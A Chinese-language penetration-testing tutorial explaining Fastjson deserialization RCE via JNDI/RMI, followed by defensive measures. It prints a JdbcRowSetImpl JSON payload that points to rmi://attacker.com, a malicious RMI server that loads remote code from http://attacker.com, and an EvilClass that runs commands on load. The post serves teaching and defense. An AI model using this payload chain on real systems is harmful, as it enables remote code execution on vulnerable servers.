【渗透测试】Fastjson 反序列化漏洞原理(二)

反序列化漏洞结合 RMI 攻击详解

反序列化漏洞结合 RMI(Remote Method Invocation,远程方法调用)是一种经典的攻击方式,尤其是在 Java 生态系统中。通过这种方式,攻击者可以利用目标应用中的反序列化漏洞触发 JNDI 注入,并借助 RMI 服务加载远程恶意代码,最终实现远程代码执行(RCE)。以下是详细的原理和利用过程:


一、RMI 和 JNDI 的基础知识

(1) RMI 简介

RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种机制,用于在分布式系统中调用远程对象的方法。RMI 使用 Java 对象序列化和反序列化来传递数据。

  • 客户端通过 RMI 接口调用远程服务器上的方法。
  • 远程对象的引用可以通过 RMI 注册表(Registry)获取。

(2) JNDI 简介

JNDI(Java Naming and Directory Interface)是 Java 提供的一种目录服务接口,允许应用程序查找和访问命名资源(如数据库连接、LDAP 服务、RMI 服务等)。

  • 攻击者可以利用 JNDI 的动态加载特性,通过指定一个恶意的 RMI URL,让目标应用从攻击者控制的服务器加载恶意代码。

二、漏洞利用的核心原理

当目标应用存在反序列化漏洞时,攻击者可以通过以下步骤结合 RMI 实现远程代码执行:

1. 构造恶意 JSON 数据

  • 利用 Fastjson 等库的反序列化漏洞,注入恶意类并触发 JNDI 查询。
  • 恶意类通常会包含一个 javax.naming.InitialContext 或类似逻辑,用于发起 JNDI 请求。

2. 设置恶意 RMI 服务

  • 攻击者搭建一个恶意的 RMI 服务,该服务返回一个指向恶意代码的引用。
  • 当目标应用发起 JNDI 查询时,会从 RMI 服务加载恶意对象(即攻击者创建的类)。

3. 加载并执行恶意代码

  • 目标应用从 RMI 服务加载恶意对象后,会触发其反序列化操作。
  • 如果恶意对象中包含可执行的代码(如 Runtime.exec()),则会执行攻击者的命令。

三、具体利用过程

环境准备

  • 攻击者
    • A 搭建一个恶意 RMI 服务,并提供一个恶意的 Java 类文件 B。
  • 目标应用
    • 存在反序列化漏洞(如 Fastjson 漏洞),并且允许 JNDI 查询。

攻击步骤

1. 构造恶意 JSON 数据

攻击者通过分析目标应用的反序列化漏洞,构造一个恶意 JSON 数据。例如:

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",   
  "dataSourceName": "rmi://attacker.com:1099/evil",
  "autoCommit": true
}
  • @type:指定了 com.sun.rowset.JdbcRowSetImpl 类。
  • dataSourceName:设置为一个恶意的 RMI URL (rmi://attacker.com:1099/evil)。
  • 当目标应用解析这个 JSON 数据时,会触发 JNDI 查询。
2. 设置恶意 RMI 服务

攻击者使用工具(如 ysoserial)创建一个恶意的 RMI 服务。以下是示例代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        // 创建一个 Reference 对象,指向恶意类
        Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker.com/");
        
        // 将 Reference 包装为 ReferenceWrapper
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        
        // 启动 RMI 注册表
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("evil", wrapper);
        
        System.out.println("RMI server is running...");
    }
}
  • Reference 指向了一个恶意类 EvilClass,该类托管在攻击者的 HTTP 服务器上。
  • RMI 服务绑定了一个名为 evil 的对象。
3. 部署恶意类

攻击者将恶意类 EvilClass.class 托管在 HTTP 服务器上,内容如下:

public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe"); // 执行任意命令
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • 这个类会在加载时执行静态代码块中的命令(如弹出计算器)。
4. 触发漏洞

当目标应用解析恶意 JSON 数据时,会触发以下流程:

  • 解析 @type 并加载 com.sun.rowset.JdbcRowSetImpl 类。
  • 调用 JdbcRowSetImplsetDataSourceName() 方法,设置 dataSourceNamermi://attacker.com:1099/evil
  • 触发 JNDI 查询,目标应用连接到攻击者的 RMI 服务。
  • RMI 服务返回恶意的 Reference 对象,目标应用从 HTTP 服务器下载并加载 EvilClass
  • 加载 EvilClass 时,执行静态代码块中的命令。

四、防御措施

为了防范这种攻击,可以采取以下措施:

(1) 升级 JDK 版本

在 JDK 8u121 及更高版本中,默认禁用了通过 JNDI 动态加载远程代码的功能。
升级到最新版本的 JDK 可以显著降低风险。

(2) 限制 JNDI 查询

配置 JVM 参数,限制 JNDI 查询的协议。例如:

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

(3) 修复反序列化漏洞

  • 升级 Fastjson 或其他存在反序列化漏洞的库到最新版本。
  • 禁用自动类型解析,或使用白名单机制限制可加载的类。

(4) 网络隔离

限制目标应用对外部网络的访问,避免其连接到恶意的 RMI 或 HTTP 服务。

(5) 监控和日志

监控异常的 JNDI 查询和 RMI 请求,及时发现潜在的攻击行为。


by 久违

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值